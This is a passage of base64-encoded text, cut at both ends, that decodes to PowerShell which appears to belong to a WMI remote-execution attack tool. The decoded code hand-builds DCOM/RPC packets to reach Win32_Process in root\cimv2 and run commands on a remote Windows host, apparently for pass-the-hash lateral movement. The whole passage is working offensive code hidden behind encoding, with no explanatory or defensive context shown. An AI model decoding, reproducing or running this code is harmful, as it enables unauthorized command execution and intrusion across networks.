EX2luZGV4IC8gMg0KICAgICAgICAgICAgICAgICRvYmplY3RfVVVJRDIgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkT1hJRF9ieXRlc19pbmRleCArIDE2KS4uKCRPWElEX2J5dGVzX2luZGV4ICsgMzEpXQ0KICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlID0gJ0FsdGVyQ29udGV4dCcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIlNvbWV0aGluZyB3ZW50IHdyb25nIg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBXcml0ZS1WZXJib3NlICJBdHRlbXB0aW5nIGNvbW1hbmQgZXhlY3V0aW9uIg0KICAgICAgICAgICAgJHJlcXVlc3Rfc3BsaXRfaW5kZXggPSA1NTAwDQoNCiAgICAgICAgICAgIDpXTUlfZXhlY3V0ZV9sb29wIHdoaWxlICgkV01JX2NsaWVudF9zdGFnZSAtbmUgJ2V4aXQnKQ0KICAgICAgICAgICAgew0KDQogICAgICAgICAgICAgICAgaWYoJFdNSV9jbGllbnRfcmVjZWl2ZVsyXSAtZXEgMykNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRlcnJvcl9jb2RlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkV01JX2NsaWVudF9yZWNlaXZlWzI3Li4yNF0pDQogICAgICAgICAgICAgICAgICAgICRlcnJvcl9jb2RlID0gJGVycm9yX2NvZGUgLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiRmFpbGVkIHdpdGggZXJyb3IgY29kZSAweCRlcnJvcl9jb2RlIg0KICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZSA9ICdleGl0Jw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHN3aXRjaCAoJFdNSV9jbGllbnRfc3RhZ2UpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdBbHRlckNvbnRleHQnDQogICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkc2VxdWVuY2VfbnVtYmVyWzBdKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsdGVyX2NvbnRleHRfY2FsbF9JRCA9IDB4MDMsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsdGVyX2NvbnRleHRfY29udGV4dF9JRCA9IDB4MDIsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWx0ZXJfY29udGV4dF9VVUlEID0gMHhkNiwweDFjLDB4NzgsMHhkNCwweGQzLDB4ZTUsMHhkZiwweDQ0LDB4YWQsMHg5NCwweDkzLDB4MGUsMHhmZSwweDQ4LDB4YTgsMHg4Nw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1JlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsdGVyX2NvbnRleHRfY2FsbF9JRCA9IDB4MDQsMHgwMCwweDAwLDB4MDAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhbHRlcl9jb250ZXh0X2NvbnRleHRfSUQgPSAweDAzLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsdGVyX2NvbnRleHRfVVVJRCA9IDB4MTgsMHhhZCwweDA5LDB4ZjMsMHg2YSwweGQ4LDB4ZDAsMHgxMSwweGEwLDB4NzUsMHgwMCwweGMwLDB4NGYsMHhiNiwweDg4LDB4MjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDYNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhbHRlcl9jb250ZXh0X2NhbGxfSUQgPSAweDA5LDB4MDAsMHgwMCwweDAwIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWx0ZXJfY29udGV4dF9jb250ZXh0X0lEID0gMHgwNCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhbHRlcl9jb250ZXh0X1VVSUQgPSAweDk5LDB4ZGMsMHg1NiwweDk1LDB4OGMsMHg4MiwweGNmLDB4MTEsMHhhMywweDdlLDB4MDAsMHhhYSwweDAwLDB4MzIsMHg0MCwweGM3DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlX25leHQgPSAnUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDQWx0ZXJDb250ZXh0ICRhc3NvY19ncm91cCAkYWx0ZXJfY29udGV4dF9jYWxsX0lEICRhbHRlcl9jb250ZXh0X2NvbnRleHRfSUQgJGFsdGVyX2NvbnRleHRfVVVJRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQyA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDDQogICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zZW5kID0gJFJQQw0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uUmVhZCgkV01JX2NsaWVudF9yZWNlaXZlLDAsJFdNSV9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlID0gJFdNSV9jbGllbnRfc3RhZ2VfbmV4dA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ1JlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X3NwbGl0ID0gJGZhbHNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCAoJHNlcXVlbmNlX251bWJlclswXSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXIgPSAweDAxLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2ZsYWdzID0gMHg4Mw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9hdXRoX3BhZGRpbmcgPSAxMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwMywweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwMiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwMywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkb2JqZWN0X1VVSUQyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRob3N0bmFtZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2hvc3RuYW1lLkxlbmd0aCArIDEpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3N0YWdlX25leHQgPSAnQWx0ZXJDb250ZXh0Jw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtCb29sXSgkYXV0aF9ob3N0bmFtZS5MZW5ndGggJSAyKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgKz0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9ieXRlcyArPSAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gMHgwNSwweDAwLDB4MDcsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAgKyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYXVzYWxpdHlfSURfYnl0ZXMgKyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDIsMHgwMCArIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3RuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRob3N0bmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHByb2Nlc3NfSURfYnl0ZXMgKyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAxDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gMHgwMiwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gOA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwNCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwMywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwMywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkSVBJRA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1JlcXVlc3QnDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfZGF0YSA9IDB4MDUsMHgwMCwweDA3LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwICsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2F1c2FsaXR5X0lEX2J5dGVzICsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNlcXVlbmNlX251bWJlciA9IDB4MDMsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfZmxhZ3MgPSAweDgzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2F1dGhfcGFkZGluZyA9IDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfY2FsbF9JRCA9IDB4MDUsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfY29udGV4dF9JRCA9IDB4MDMsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9vcG51bSA9IDB4MDYsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9VVUlEID0gJElQSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kV01JX25hbWVzcGFjZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCR0YXJnZXRfc2hvcnQuTGVuZ3RoICsgMTQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFdNSV9uYW1lc3BhY2VfdW5pY29kZSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoIlxcJHRhcmdldF9zaG9ydFxyb290XGNpbXYyIikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtCb29sXSgkdGFyZ2V0X3Nob3J0Lkxlbmd0aCAlIDIpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX25hbWVzcGFjZV91bmljb2RlICs9IDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfbmFtZXNwYWNlX3VuaWNvZGUgKz0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gMHgwNSwweDAwLDB4MDcsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhdXNhbGl0eV9JRF9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9uYW1lc3BhY2VfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9uYW1lc3BhY2VfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfbmFtZXNwYWNlX3VuaWNvZGUgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwNCwweDAwLDB4MDIsMHgwMCwweDA5LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwOSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4NjUsMHgwMCwweDZlLDB4MDAsMHgyZCwweDAwLDB4NTUsMHgwMCwweDUzLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDJjLDB4MDAsMHg2NSwweDAwLDB4NmUsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gMHgwNCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gOA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwNiwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwNSwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkb2JqZWN0X1VVSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2RhdGEgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfZGF0YSA9ICRXTUlfZGF0YSAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE9YSURfaW5kZXggPSAkV01JX2RhdGEuSW5kZXhPZigkT1hJRCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE9YSURfYnl0ZXNfaW5kZXggPSAkT1hJRF9pbmRleCAvIDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJElQSUQyID0gJFdNSV9jbGllbnRfcmVjZWl2ZVsoJE9YSURfYnl0ZXNfaW5kZXggKyAxNikuLigkT1hJRF9ieXRlc19pbmRleCArIDMxKV0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9yZW1fcmVsZWFzZSA9IEdldC1QYWNrZXREQ09NUmVtUmVsZWFzZSAkY2F1c2FsaXR5X0lEX2J5dGVzICRvYmplY3RfVVVJRDIgJElQSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfcmVtX3JlbGVhc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gMHgwNSwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gNA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwNywweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwMywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkb2JqZWN0X1VVSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X3JlbV9xdWVyeV9pbnRlcmZhY2UgPSBHZXQtUGFja2V0RENPTVJlbVF1ZXJ5SW50ZXJmYWNlICRjYXVzYWxpdHlfSURfYnl0ZXMgJElQSUQyIDB4OWUsMHhjMSwweGZjLDB4YzMsMHg3MCwweGE5LDB4ZDIsMHgxMSwweDhiLDB4NWEsMHgwMCwweGEwLDB4YzksMHhiNywweGM5LDB4YzQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfcmVtX3F1ZXJ5X2ludGVyZmFjZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXIgPSAweDA2LDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2ZsYWdzID0gMHg4Mw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9hdXRoX3BhZGRpbmcgPSA0DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2NhbGxfSUQgPSAweDA4LDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2NvbnRleHRfSUQgPSAweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3Rfb3BudW0gPSAweDAzLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfVVVJRCA9ICRvYmplY3RfVVVJRA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ0FsdGVyQ29udGV4dCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9yZW1fcXVlcnlfaW50ZXJmYWNlID0gR2V0LVBhY2tldERDT01SZW1RdWVyeUludGVyZmFjZSAkY2F1c2FsaXR5X0lEX2J5dGVzICRJUElEMiAweDgzLDB4YjIsMHg5NiwweGIxLDB4YjQsMHhiYSwweDFhLDB4MTAsMHhiNiwweDljLDB4MDAsMHhhYSwweDAwLDB4MzQsMHgxZCwweDA3DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X3JlbV9xdWVyeV9pbnRlcmZhY2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA2DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gMHgwNywweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwOSwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwNCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwNiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkSVBJRDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2RhdGEgPSAweDA1LDB4MDAsMHgwNywweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2F1c2FsaXR5X0lEX2J5dGVzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHg1NSwweDczLDB4NjUsMHg3MiwweDBkLDB4MDAsMHgwMCwweDAwLDB4MWEsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDBkLDB4MDAsMHgwMCwweDAwLDB4NzcsMHgwMCwweDY5LDB4MDAsMHg2ZSwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgzMywweDAwLDB4MzIsMHgwMCwweDVmLDB4MDAsMHg3MCwweDAwLDB4NzIsMHgwMCwweDZmLDB4MDAsMHg2MywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHg2NSwweDAwLDB4NzMsMHgwMCwweDczLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXIgPSAweDA4LDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2ZsYWdzID0gMHg4Mw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9hdXRoX3BhZGRpbmcgPSAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2NhbGxfSUQgPSAweDEw